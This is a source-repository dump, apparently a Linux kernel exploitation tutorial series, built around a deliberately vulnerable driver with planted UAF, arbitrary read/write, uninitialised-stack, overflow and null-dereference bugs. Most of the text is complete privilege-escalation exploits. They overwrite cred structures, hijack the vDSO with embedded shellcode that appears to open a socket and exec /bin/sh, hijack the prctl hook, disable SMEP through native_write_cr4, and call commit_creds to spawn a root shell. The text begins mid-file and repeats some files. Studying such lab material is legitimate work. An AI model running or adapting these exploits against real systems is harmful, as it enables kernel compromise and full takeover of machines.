_VULN_DRIVER_ 26 | #define _VULN_DRIVER_ 27 | #define DEVICE_NAME "vulnerable_device" 28 | #define IOCTL_NUM 0xFE 29 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 30 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 31 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 32 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 33 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 34 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 35 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 36 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long) 37 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 38 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 39 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 40 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 41 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 42 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 43 | #endif 44 | 45 | #define PATH "/dev/vulnerable_device" 46 | #define START_ADDR 0xffffffff80000000 47 | #define END_ADDR 0xffffffffffffefff 48 | 49 | struct init_args { 50 | size_t size; 51 | }; 52 | struct realloc_args{ 53 | int grow; 54 | size_t size; 55 | }; 56 | struct read_args{ 57 | char *buff; 58 | size_t count; 59 | }; 60 | struct seek_args{ 61 | loff_t new_pos; 62 | }; 63 | struct write_args{ 64 | char *buff; 65 | size_t count; 66 | }; 67 | 68 | int read_mem(int fd, size_t addr,char *buff,int count) 69 | { 70 | struct seek_args s_args2; 71 | struct read_args r_args; 72 | int ret; 73 | 74 | s_args2.new_pos=addr-0x10; 75 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args2); // seek 76 | r_args.buff=buff; 77 | r_args.count=count; 78 | ret=ioctl(fd,ARBITRARY_RW_READ,&r_args); // read 79 | return ret; 80 | } 81 | int write_mem(int fd, size_t addr,char *buff,int count) 82 | { 83 | struct seek_args s_args1; 84 | struct write_args w_args; 85 | int ret; 86 | 87 | s_args1.new_pos=addr-0x10; 88 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args1); // seek 89 | w_args.buff=buff; 90 | w_args.count=count; 91 | ret=ioctl(fd,ARBITRARY_RW_WRITE,&w_args); // write 92 | return ret; 93 | } 94 | 95 | int check_vdso_shellcode(char *shellcode) 96 | { 97 | size_t addr=0; 98 | addr=getauxval(AT_SYSINFO_EHDR); 99 | printf("[+] vdso: 0x%lx\n"); 100 | if (addr<0) 101 | { 102 | puts("[-] Cannnot get VDSO addr\n"); 103 | return 0; 104 | } 105 | if (memmem((char *)addr,0x1000, shellcode,strlen(shellcode))) 106 | { 107 | return 1; 108 | } 109 | return 0; 110 | } 111 | 112 | int main() 113 | { 114 | int fd=-1; 115 | int result=0; 116 | struct init_args i_args; 117 | struct realloc_args rello_args; 118 | char shellcode[]="\x90\x53\x48\x31\xC0\xB0\x66\x0F\x05\x48\x31\xDB\x48\x39\xC3\x75\x0F\x48\x31\xC0\xB0\x39\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x09\x5B\x48\x31\xC0\xB0\x60\x0F\x05\xC3\x48\x31\xD2\x6A\x01\x5E\x6A\x02\x5F\x6A\x29\x58\x0F\x05\x48\x97\x50\x48\xB9\xFD\xFF\xF2\xFA\x80\xFF\xFF\xFE\x48\xF7\xD1\x51\x48\x89\xE6\x6A\x10\x5A\x6A\x2A\x58\x0F\x05\x48\x31\xDB\x48\x39\xD8\x74\x07\x48\x31\xC0\xB0\xE7\x0F\x05\x90\x6A\x03\x5E\x6A\x21\x58\x48\xFF\xCE\x0F\x05\x75\xF6\x48\x31\xC0\x50\x48\xBB\xD0\x9D\x96\x91\xD0\x8C\x97\xFF\x48\xF7\xD3\x53\x48\x89\xE7\x50\x57\x48\x89\xE6\x48\x31\xD2\xB0\x3B\x0F\x05\x48\x31\xC0\xB0\xE7\x0F\x05"; 119 | 120 | setvbuf(stdout, 0LL, 2, 0LL); 121 | char *buf=malloc(0x1000); 122 | fd=open(PATH,O_RDWR); 123 | if (fd<0){ 124 | puts("[-] open error ! \n"); 125 | exit(-1); 126 | } 127 | // 构造任意地址读写 128 | i_args.size=0x100; 129 | ioctl(fd, ARBITRARY_RW_INIT, &i_args); 130 | rello_args.grow=0; 131 | rello_args.size=0x100+1; 132 | ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args); 133 | puts("[+] We can read and write any memory! [+]"); 134 | //爆破VDSO地址 135 | for (size_t addr=START_ADDR; addr 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | 24 | #ifndef _VULN_DRIVER_ 25 | #define _VULN_DRIVER_ 26 | #define DEVICE_NAME "vulnerable_device" 27 | #define IOCTL_NUM 0xFE 28 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 29 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 30 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 31 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 32 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 33 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 34 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 35 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long) 36 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 37 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 38 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 39 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 40 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 41 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 42 | #endif 43 | 44 | #define PATH "/dev/vulnerable_device" 45 | #define START_ADDR 0xffff880000000000 46 | #define END_ADDR 0xffffc80000000000 47 | 48 | struct init_args { 49 | size_t size; 50 | }; 51 | struct realloc_args{ 52 | int grow; 53 | size_t size; 54 | }; 55 | struct read_args{ 56 | char *buff; 57 | size_t count; 58 | }; 59 | struct seek_args{ 60 | loff_t new_pos; 61 | }; 62 | struct write_args{ 63 | char *buff; 64 | size_t count; 65 | }; 66 | 67 | int read_mem(int fd, size_t addr,char *buff,int count) 68 | { 69 | struct seek_args s_args2; 70 | struct read_args r_args; 71 | int ret; 72 | 73 | s_args2.new_pos=addr-0x10; 74 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args2); // seek 75 | r_args.buff=buff; 76 | r_args.count=count; 77 | ret=ioctl(fd,ARBITRARY_RW_READ,&r_args); // read 78 | return ret; 79 | } 80 | int write_mem(int fd, size_t addr,char *buff,int count) 81 | { 82 | struct seek_args s_args1; 83 | struct write_args w_args; 84 | int ret; 85 | 86 | s_args1.new_pos=addr-0x10; 87 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args1); // seek 88 | w_args.buff=buff; 89 | w_args.count=count; 90 | ret=ioctl(fd,ARBITRARY_RW_WRITE,&w_args); // write 91 | return ret; 92 | } 93 | 94 | int main() 95 | { 96 | int fd=-1; 97 | int result=0; 98 | struct init_args i_args; 99 | struct realloc_args rello_args; 100 | size_t real_cred=0; 101 | size_t cred=0; 102 | size_t target_addr; 103 | int root_cred[12]; 104 | 105 | setvbuf(stdout, 0LL, 2, 0LL); 106 | char *buf=malloc(0x1000); 107 | char target[16]; 108 | 109 | strcpy(target,"try2findmesauce"); 110 | prctl(PR_SET_NAME,target); 111 | fd=open(PATH,O_RDWR); 112 | if (fd<0){ 113 | puts("[-] open error ! \n"); 114 | exit(-1); 115 | } 116 | // 爆破出 cred地址 117 | i_args.size=0x100; 118 | ioctl(fd, ARBITRARY_RW_INIT, &i_args); 119 | rello_args.grow=0; 120 | rello_args.size=0x100+1; 121 | ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args); 122 | puts("[+] We can read and write any memory! [+]"); 123 | for (size_t addr=START_ADDR; addr 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include //prctl 23 | #include //AT_SYSINFO_EHDR 24 | 25 | #ifndef _VULN_DRIVER_ 26 | #define _VULN_DRIVER_ 27 | #define DEVICE_NAME "vulnerable_device" 28 | #define IOCTL_NUM 0xFE 29 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 30 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 31 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 32 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 33 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 34 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 35 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 36 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long) 37 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 38 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 39 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 40 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 41 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 42 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 43 | #endif 44 | 45 | #define PATH "/dev/vulnerable_device" 46 | #define START_ADDR 0xffffffff80000000 47 | #define END_ADDR 0xffffffffffffefff 48 | 49 | struct init_args { 50 | size_t size; 51 | }; 52 | struct realloc_args{ 53 | int grow; 54 | size_t size; 55 | }; 56 | struct read_args{ 57 | char *buff; 58 | size_t count; 59 | }; 60 | struct seek_args{ 61 | loff_t new_pos; 62 | }; 63 | struct write_args{ 64 | char *buff; 65 | size_t count; 66 | }; 67 | 68 | int read_mem(int fd, size_t addr,char *buff,int count) 69 | { 70 | struct seek_args s_args2; 71 | struct read_args r_args; 72 | int ret; 73 | 74 | s_args2.new_pos=addr-0x10; 75 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args2); // seek 76 | r_args.buff=buff; 77 | r_args.count=count; 78 | ret=ioctl(fd,ARBITRARY_RW_READ,&r_args); // read 79 | return ret; 80 | } 81 | int write_mem(int fd, size_t addr,char *buff,int count) 82 | { 83 | struct seek_args s_args1; 84 | struct write_args w_args; 85 | int ret; 86 | 87 | s_args1.new_pos=addr-0x10; 88 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args1); // seek 89 | w_args.buff=buff; 90 | w_args.count=count; 91 | ret=ioctl(fd,ARBITRARY_RW_WRITE,&w_args); // write 92 | return ret; 93 | } 94 | 95 | 96 | int main() 97 | { 98 | int fd=-1; 99 | size_t result=0; 100 | size_t addr=0; 101 | struct init_args i_args; 102 | struct realloc_args rello_args; 103 | 104 | size_t kernel_base=0; 105 | size_t selinux_disable_addr = 0x3607f0; //ffffffff813607f0 T selinux_disable - 0xffffffff81000000(vmmap) =0x3607f0 106 | size_t prctl_hook=0xe9bcd8; // 0xffffffff81e9bcc0+0x18=0xffffffff81e9bcd8 - 0xffffffff81000000=0xe9bcd8 107 | size_t order_cmd=0xe4cf40; //mov rdi,0xffffffff81e4cf40 108 | size_t poweroff_work_addr=0xa7590; // ffffffff810a7590 t poweroff_work_func 109 | 110 | setvbuf(stdout, 0LL, 2, 0LL); 111 | char *buf=malloc(0x1000); 112 | fd=open(PATH,O_RDWR); 113 | if (fd<0){ 114 | puts("[-] open error ! \n"); 115 | exit(-1); 116 | } 117 | // 构造任意地址读写 118 | i_args.size=0x100; 119 | ioctl(fd, ARBITRARY_RW_INIT, &i_args); 120 | rello_args.grow=0; 121 | rello_args.size=0x100+1; 122 | ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args); 123 | puts("[+] We can read and write any memory! [+]"); 124 | //爆破VDSO地址,泄露kernel_base 125 | for (size_t addr=START_ADDR; addr 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include //prctl 23 | #include //AT_SYSINFO_EHDR 24 | 25 | #ifndef _VULN_DRIVER_ 26 | #define _VULN_DRIVER_ 27 | #define DEVICE_NAME "vulnerable_device" 28 | #define IOCTL_NUM 0xFE 29 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 30 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 31 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 32 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 33 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 34 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 35 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 36 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long) 37 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 38 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 39 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 40 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 41 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 42 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 43 | #endif 44 | 45 | #define PATH "/dev/vulnerable_device" 46 | #define START_ADDR 0xffffffff80000000 47 | #define END_ADDR 0xffffffffffffefff 48 | 49 | struct init_args { 50 | size_t size; 51 | }; 52 | struct realloc_args{ 53 | int grow; 54 | size_t size; 55 | }; 56 | struct read_args{ 57 | char *buff; 58 | size_t count; 59 | }; 60 | struct seek_args{ 61 | loff_t new_pos; 62 | }; 63 | struct write_args{ 64 | char *buff; 65 | size_t count; 66 | }; 67 | 68 | int read_mem(int fd, size_t addr,char *buff,int count) 69 | { 70 | struct seek_args s_args2; 71 | struct read_args r_args; 72 | int ret; 73 | 74 | s_args2.new_pos=addr-0x10; 75 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args2); // seek 76 | r_args.buff=buff; 77 | r_args.count=count; 78 | ret=ioctl(fd,ARBITRARY_RW_READ,&r_args); // read 79 | return ret; 80 | } 81 | int write_mem(int fd, size_t addr,char *buff,int count) 82 | { 83 | struct seek_args s_args1; 84 | struct write_args w_args; 85 | int ret; 86 | 87 | s_args1.new_pos=addr-0x10; 88 | ret=ioctl(fd,ARBITRARY_RW_SEEK,&s_args1); // seek 89 | w_args.buff=buff; 90 | w_args.count=count; 91 | ret=ioctl(fd,ARBITRARY_RW_WRITE,&w_args); // write 92 | return ret; 93 | } 94 | 95 | 96 | int main() 97 | { 98 | int fd=-1; 99 | size_t result=0; 100 | size_t addr=0; 101 | struct init_args i_args; 102 | struct realloc_args rello_args; 103 | 104 | size_t kernel_base=0; 105 | size_t selinux_disable_addr = 0x3607f0; //ffffffff813607f0 T selinux_disable - 0xffffffff81000000(vmmap) =0x3607f0 106 | size_t prctl_hook=0xe9bcd8; // 0xffffffff81e9bcc0+0x18=0xffffffff81e9bcd8 - 0xffffffff81000000=0xe9bcd8 107 | size_t order_cmd=0xe4cf40; //mov rdi,0xffffffff81e4cf40 108 | size_t poweroff_work_addr=0xa7590; // ffffffff810a7590 t poweroff_work_func 109 | 110 | setvbuf(stdout, 0LL, 2, 0LL); 111 | char *buf=malloc(0x1000); 112 | fd=open(PATH,O_RDWR); 113 | if (fd<0){ 114 | puts("[-] open error ! \n"); 115 | exit(-1); 116 | } 117 | // 构造任意地址读写 118 | i_args.size=0x100; 119 | ioctl(fd, ARBITRARY_RW_INIT, &i_args); 120 | rello_args.grow=0; 121 | rello_args.size=0x100+1; 122 | ioctl(fd,ARBITRARY_RW_REALLOC,&rello_args); 123 | puts("[+] We can read and write any memory! [+]"); 124 | //爆破VDSO地址,泄露kernel_base 125 | for (size_t addr=START_ADDR; addr 3 | 4 | int main(){ 5 | while(1){ 6 | puts("111"); 7 | sleep(1); 8 | gettimeofday(); 9 | } 10 | } -------------------------------------------------------------------------------- /3-uninitialised_stack/exp_uninitialised_stack.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #ifndef _VULN_DRIVER_ 24 | #define _VULN_DRIVER_ 25 | #define DEVICE_NAME "vulnerable_device" 26 | #define IOCTL_NUM 0xFE 27 | #define DRIVER_TEST _IO (IOCTL_NUM,0) 28 | #define BUFFER_OVERFLOW _IOR (IOCTL_NUM,1,char *) 29 | #define NULL_POINTER_DEREF _IOR (IOCTL_NUM,2,unsigned long) 30 | #define ALLOC_UAF_OBJ _IO (IOCTL_NUM,3) 31 | #define USE_UAF_OBJ _IO (IOCTL_NUM,4) 32 | #define ALLOC_K_OBJ _IOR (IOCTL_NUM,5,unsigned long) 33 | #define FREE_UAF_OBJ _IO (IOCTL_NUM,6) 34 | #define ARBITRARY_RW_INIT _IOR(IOCTL_NUM,7, unsigned long) 35 | #define ARBITRARY_RW_REALLOC _IOR(IOCTL_NUM,8,unsigned long) 36 | #define ARBITRARY_RW_READ _IOWR(IOCTL_NUM,9,unsigned long) 37 | #define ARBITRARY_RW_SEEK _IOR(IOCTL_NUM,10,unsigned long) 38 | #define ARBITRARY_RW_WRITE _IOR(IOCTL_NUM,11,unsigned long) 39 | #define UNINITIALISED_STACK_ALLOC _IOR(IOCTL_NUM,12,unsigned long) 40 | #define UNINITIALISED_STACK_USE _IOR(IOCTL_NUM,13,unsigned long) 41 | #endif 42 | 43 | #define PATH "/dev/vulnerable_device" 44 | 45 | // stack 对象 46 | struct stack_obj 47 | { 48 | int do_callback; 49 | size_t fn_arg; 50 | void (*fn)(long); 51 | }; 52 | struct use_obj_args 53 | { 54 | int option; 55 | size_t fn_arg; 56 | }; 57 | 58 | 59 | //让程序只在单核上运行,以免只关闭了1个核的smep,却在另1个核上跑shell 60 | void force_single_core() 61 | { 62 | cpu_set_t mask; 63 | CPU_ZERO(&mask); 64 | CPU_SET(0,&mask); 65 | 66 | if (sched_setaffinity(0,sizeof(mask),&mask)) 67 | printf("[-----] Error setting affinity to core0, continue anyway, exploit may fault \n"); 68 | return; 69 | } 70 | 71 | // 触发page_fault 泄露kernel基址 72 | void do_page_fault() 73 | { 74 | struct use_obj_args use_obj = 75 | { 76 | .option=1, 77 | .fn_arg=1337, 78 | }; 79 | int child_fd=open(PATH, O_RDWR); 80 | ioctl(child_fd, UNINITIALISED_STACK_USE, &use_obj); 81 | return ; 82 | } 83 | 84 | //从dmesg读取打印信息,泄露kernel基址 85 | #define GREP_INFOLEAK "dmesg | grep SyS_ioctl+0x79 | awk '{print $3}' | cut -d '<' -f 2 | cut -d '>' -f 1 > /tmp/infoleak" 86 | size_t get_info_leak() 87 | { 88 | system(GREP_INFOLEAK); 89 | size_t addr=0; 90 | FILE *fd=fopen("/tmp/infoleak","r"); 91 | fscanf(fd,"%lx",&addr); 92 | fclose(fd); 93 | return addr; 94 | } 95 | 96 | size_t prepare_kernel_cred_addr=0xa6ca0; 97 | size_t commit_creds_addr=0xa68b0; 98 | size_t native_write_cr4_addr=0x65a30; 99 | size_t sys_ioctl_offset=0x22bc59; 100 | size_t fake_cr4=0x407f0; 101 | 102 | void get_root() 103 | { 104 | char* (*pkc)(int) = prepare_kernel_cred_addr; 105 | void (*cc)(char*) = commit_creds_addr; 106 | (*cc)((*pkc)(0)); 107 | } 108 | 109 | int main() 110 | { 111 | // step 1: 只允许在单核上运行 112 | force_single_core(); 113 | 114 | int fd = open("/dev/vulnerable_device", O_RDWR); 115 | if (fd<0){ 116 | printf("[-] Open error!\n"); 117 | return 0; 118 | } 119 | ioctl(fd,DRIVER_TEST,NULL); //用于标识dmesg中字符串的开始 120 | 121 | // step 2: 构造 page_fault 泄露kernel地址。从dmesg读取后写到/tmp/infoleak,再读出来 122 | pid_t pid=fork(); 123 | if (pid==0){ 124 | do_page_fault(); 125 | exit(0); 126 | } 127 | int status; 128 | wait(&status); // 等子进程结束 129 | //sleep(10); 130 | printf("[+] Begin to leak address by dmesg![+]\n"); 131 | size_t kernel_base = get_info_leak()-sys_ioctl_offset; 132 | printf("[+] Kernel base addr : %p [+] \n", kernel_base); 133 | 134 | native_write_cr4_addr+=kernel_base; 135 | prepare_kernel_cred_addr+=kernel_base; 136 | commit_creds_addr+=kernel_base; 137 | printf("[+] We can get 3 important function address ![+]\n"); 138 | printf(" native_write_cr4_addr = %p\n",native_write_cr4_addr); 139 | printf(" prepare_kernel_cred_addr = %p\n",prepare_kernel_cred_addr); 140 | printf(" commit_creds_addr = %p\n",commit_creds_addr); 141 | 142 | // step 3: 关闭smep 143 | char buf[4096]; 144 | memset(buf, 0, sizeof(buf)); 145 | struct use_obj_args use_obj={ 146 | .option=1, 147 | .fn_arg=1337, 148 | }; 149 | 150 | for (int i=0; i<4096; i+=16) 151 | { 152 | memcpy(buf+i, &fake_cr4, 8); // 注意是fake_cr4所在地址 153 | memcpy(buf+i+8, &native_write_cr4_addr, 8); // 注意是native_write_cr4_addr所在地址 154 | } 155 | ioctl(fd,UNINITIALISED_STACK_ALLOC, buf); 156 | ioctl(fd,UNINITIALISED_STACK_USE, &use_obj); 157 | 158 | // step 4: 提权,执行get_root(); 注意是把get_root()的地址拷贝过去,转一次 159 | size_t get_root_addr = &get_root; 160 | memset(buf, 0, sizeof(buf)); 161 | for (int i=0; i<4096; i+=8) 162 | memcpy(buf+i, &get_root_addr, 8); 163 | 164 | ioctl(fd,UNINITIALISED_STACK_ALLOC, buf); 165 | ioctl(fd,UNINITIALISED_STACK_USE, &use_obj); 166 | 167 | // step 5: 获得shell 168 | if (getuid()==0) 169 | { 170 | printf("[+] Congratulations! You get root shell !!! [+]\n"); 171 | system("/bin/sh"); 172 | } 173 | 174 | close(fd); 175 | return 0; 176 | } 177 | /* 178 | use_stack_obj() 179 | UNINITIALISED_STACK_USE=0x8008fe0d 180 | .text:0000000000000023 mov rax, [rbp-38h] 181 | .text:0000000000000027 mov use_obj_arg, [rbp-40h] 182 | .text:000000000000002B call __x86_indirect_thunk_rax 183 | 184 | $ cat /sys/module/vuln_driver/sections/.text 185 | 186 | */ 187 | -------------------------------------------------------------------------------- /file/bzImage: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bsauce/kernel_exploit_series/5858ebe88e3bfb849f38ac2cddcd97bac11784d4/file/bzImage -------------------------------------------------------------------------------- /file/gdb_kernel.sh: -------------------------------------------------------------------------------- 1 | gdb \ 2 | -ex "add-auto-load-safe-path $(pwd)" \ 3 | -ex "file ./linux-4.4.184/vmlinux" \ 4 | -ex 'target remote localhost:1234' \ 5 | -ex 'continue' \ 6 | 7 | -------------------------------------------------------------------------------- /file/start.sh: -------------------------------------------------------------------------------- 1 | qemu-system-x86_64 \ 2 | -m 256M \ 3 | -kernel ./linux-4.4.184/arch/x86/boot/bzImage \ 4 | -initrd ./vuln_driver.cpio \ 5 | -append "console=ttyS0 root=/dev/ram rdinit=/sbin/init quiet aslr" \ 6 | -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \ 7 | -cpu qemu64,+smep,+smap \ 8 | -s \ 9 | -nographic 10 | # -smp cores=4,threads=2 11 | -------------------------------------------------------------------------------- /file/vuln_driver.cpio: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bsauce/kernel_exploit_series/5858ebe88e3bfb849f38ac2cddcd97bac11784d4/file/vuln_driver.cpio -------------------------------------------------------------------------------- /file/vuln_driver.ko: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/bsauce/kernel_exploit_series/5858ebe88e3bfb849f38ac2cddcd97bac11784d4/file/vuln_driver.ko -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | ### One vulnerable driver to learn all. 2 | 3 | The best vulnerable driver to learn all methods to exploit kernel vulnerability. 4 | 5 | There is an vulnerable linux driver which contains 5 vulnerabilities. They are UAF / arbitrary read and write / uninitialized stack variable / buffer overflow / null pointer dereference. 6 | 7 | And there are exploiting scripts for each bug. 8 | 9 | You can read [my blog](https://xz.aliyun.com/u/20655) to learn how to exploit linux kernel vulnerability. 10 | 11 | And you can read my jianshu. 12 | 13 | [linux内核提权系列教程(1):堆喷射函数sendmsg与msgsend利用](https://www.jianshu.com/p/5583657cfd25) 14 | 15 | [linux内核提权系列教程(2):任意地址读写到提权的4种方法](https://www.jianshu.com/p/fef2377f6a31) 16 | 17 | [linux内核提权系列教程(3):栈变量未初始化漏洞](https://www.jianshu.com/p/b28b964b9243) 18 | 19 | Null-dereference and stack overflow are too easy, you can read [this blog](https://xz.aliyun.com/t/6010). 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | -------------------------------------------------------------------------------- /vulnerable_driver/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += src/vuln_driver.o 2 | 3 | EXTRA_CFLAGS += -fno-stack-protector 4 | KDIR=/home/john/Desktop/stringIPC/linux-4.4.184 5 | all: 6 | make -C $(KDIR) SUBDIRS=$(PWD) modules 7 | clean: 8 | rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions 9 | 10 | -------------------------------------------------------------------------------- /vulnerable_driver/src/arbitrary_rw.h: -------------------------------------------------------------------------------- 1 | #ifndef _ARBITRARY_RW_ 2 | #define _ARBITRARY_RW_ 3 | 4 | typedef struct mem_buffer { 5 | size_t data_size; 6 | char *data; 7 | loff_t pos; 8 | }mem_buffer; 9 | 10 | typedef struct init_args { 11 | size_t size; 12 | }init_args; 13 | 14 | typedef struct realloc_args { 15 | int grow; 16 | size_t size; 17 | }realloc_args; 18 | 19 | typedef struct read_args { 20 | char *buff; 21 | size_t count; 22 | }read_args; 23 | 24 | typedef struct seek_args { 25 | loff_t new_pos; 26 | }seek_args; 27 | 28 | typedef struct write_args { 29 | char *buff; 30 | size_t count; 31 | }write_args; 32 | 33 | mem_buffer *g_mem_buffer = NULL; 34 | 35 | /** 36 | * Initialise a new buffer with __user size. 37 | * point the global pointer to it. 38 | * Don't allow 0 sized allocations. 39 | */ 40 | static int arbitrary_rw_init(init_args *args) 41 | { 42 | if(args->size == 0 || g_mem_buffer != NULL) 43 | return -EINVAL; 44 | 45 | g_mem_buffer = kmalloc(sizeof(mem_buffer), GFP_KERNEL); 46 | 47 | if(g_mem_buffer == NULL) 48 | goto error_no_mem; 49 | 50 | g_mem_buffer->data = kmalloc(args->size, GFP_KERNEL); 51 | 52 | if(g_mem_buffer->data == NULL) 53 | goto error_no_mem_free; 54 | 55 | g_mem_buffer->data_size = args->size; 56 | g_mem_buffer->pos = 0; 57 | 58 | printk(KERN_INFO "[x] Allocated memory with size %lu [x]\n", g_mem_buffer->data_size); 59 | 60 | return 0; 61 | 62 | error_no_mem: 63 | return -ENOMEM; 64 | 65 | error_no_mem_free: 66 | kfree(g_mem_buffer); 67 | return -ENOMEM; 68 | } 69 | 70 | static int realloc_mem_buffer(realloc_args *args) 71 | { 72 | if(g_mem_buffer == NULL) 73 | return -EINVAL; 74 | 75 | size_t new_size; 76 | char *new_data; 77 | 78 | //We can overflow size here by making new_size = -1 79 | if(args->grow) 80 | new_size = g_mem_buffer->data_size + args->size; 81 | else 82 | new_size = g_mem_buffer->data_size - args->size; 83 | 84 | //new_size here will equal 0 krealloc(..., 0) = ZERO_SIZE_PTR 85 | new_data = krealloc(g_mem_buffer->data, new_size+1, GFP_KERNEL); 86 | 87 | //missing check for return value ZERO_SIZE_PTR 88 | if(new_data == NULL) 89 | return -ENOMEM; 90 | 91 | g_mem_buffer->data = new_data; 92 | g_mem_buffer->data_size = new_size; 93 | 94 | printk(KERN_INFO "[x] g_mem_buffer->data_size = %lu [x]\n", g_mem_buffer->data_size); 95 | 96 | return 0; 97 | } 98 | 99 | static int read_mem_buffer(char __user *buff, size_t count) 100 | { 101 | if(g_mem_buffer == NULL) 102 | return -EINVAL; 103 | 104 | loff_t pos; 105 | int ret; 106 | 107 | pos = g_mem_buffer->pos; 108 | 109 | if((count + pos) > g_mem_buffer->data_size) 110 | return -EINVAL; 111 | 112 | ret = copy_to_user(buff, g_mem_buffer->data + pos, count); 113 | 114 | return ret; 115 | } 116 | 117 | static int write_mem_buffer(write_args *w_args) 118 | { 119 | 